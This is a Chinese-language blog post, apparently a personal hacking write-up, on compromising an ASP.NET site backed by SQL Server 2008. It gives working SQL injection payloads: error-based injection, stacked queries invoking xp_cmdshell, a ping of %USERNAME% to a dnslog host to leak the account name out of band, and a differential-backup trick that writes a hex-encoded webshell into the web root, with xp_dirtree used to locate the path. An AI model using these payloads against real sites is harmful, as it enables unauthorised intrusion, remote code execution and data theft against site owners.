sqlserver差异备份实战

前言

此文章只是记录一下知识点 . 实战过程难免遇到各种奇怪的错误 . 此时就比较考验你举一反三和掌握这个知识的程度 . 由于我不怎么喜欢截图.. 所以很多文章基本上都是以文字的形式来表达 实在难理解的地方 才用图片 希望大家谅解

朋友丢了一个站过来,了解了一下大概环境 aspx sqlserver08 windows2008 iis7.5 .

正文

大致的看了一下. 前台存在明显的注入点

xxx.aspx?id=111' 加了个单引号.他直接报了错.

1.jpg

根据这个错误信息,得知并没有关闭错误信息提示,可以采用sqlserver的报错注入来进行注入(没有waf的情况下).

先获取一下权限吧.看看是什么权限比较关键.

xxx.aspx?id=111 and user_name()>0 --+ 返回了 在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

在继续尝试调用 xp_cmdshell 存储过程来执行系统命令 如果能成功执行,就会节省很大一部分时间来跑库

xxx.aspx?id=111;exec master..xp_cmdshell 'set'--+ 这里注意 sqlserver默认是支持堆叠查询的. 堆叠查询以 ; 为分隔符 , 来分别执行语句 此处相当于执行了两条sql语句

  1. select * from news where id = 111
  2. exec master..xp_cmdshell 'set'

当然这里执行的结果不会回显给当前页面.如果我们需要获取结果来判断是否真的执行成功.可以用dnslog来判断.或者你vps用python启动一个http服务,去访问以下你的服务,看看是否有记录.使用windows里面的自带的系统变量 %USERNAME%来判断 如果是linux环境可以使用whoami

ping %USERNAME%.dnslog.com 如果执行成功了,dnslog平台会回显当前用户名字

然而我这里并没有这么轻松的让我执行xp_cmdshell 提示我 调用 'CreateProcess' 失败,错误代码: 5

根据经验判断,这是被安全软件拦了存储过程,大概率可能是360 .. 遇到这种问题很多基础比较薄弱的同学可能不知道该怎么进行下去了. 难道只有跑库跑表然后找后台了吗.当然这也是一种方法

其实还有一种方法,就是差异备份 大概科普一下这个方法的原理:

一种数据备份,基于完整数据库或部分数据库或一组数据文件或文件组(差异基准)的最新完整备份,并且仅包含自确定差异基准以来发生更改的数据。与创建完整备份相比,创建差异备份的速度可能非常快。 差异备份只记录自差异备份所基于的完整备份后更改的数据

利用语句(需要知道一个库的名字和网站的绝对路径):

  1. 先完整备份一次数据库

    backup database 数据库名称 to disk = '绝对路径' with init

  2. 创建表并插入一句话木马

    create table backup(a image)

    insert into backup(a) values (这里需要把一句话hex转换一下)

  3. 再次备份

    backup log 数据库名称 to disk = '绝对路径'

那如果报错信息并没有报出网站的绝对路径 在我们不知道网站绝对路径该怎么办呢?

当然这里sqlserver贴心的给我们提供了另一个存储过程 xp_dirtree我们可以调用这个存储过程,来找到网站绝对路径 利用流程 先创建一个表 然后执行 insert 语句 把 dirtree的执行结果存储到表里面去. 然后自己再去读取表内容. 当然这是手工的方法 . 建议还是丢给工具做把,除非工具跑不出来的情况下.可以采用手工 (啊D 明小子 穿山甲 都带的有)

结尾

没什么技术含量 只是简单的介绍和利用了一下 sqlserver的差异备份 … 当然方法还有很多.包括 sp_oacreate 还没有介绍,抽个时间做一做

本文链接:

http://hentai6.cn/index.php/archives/12/
1 + 8 =
快来做第一个评论的人吧~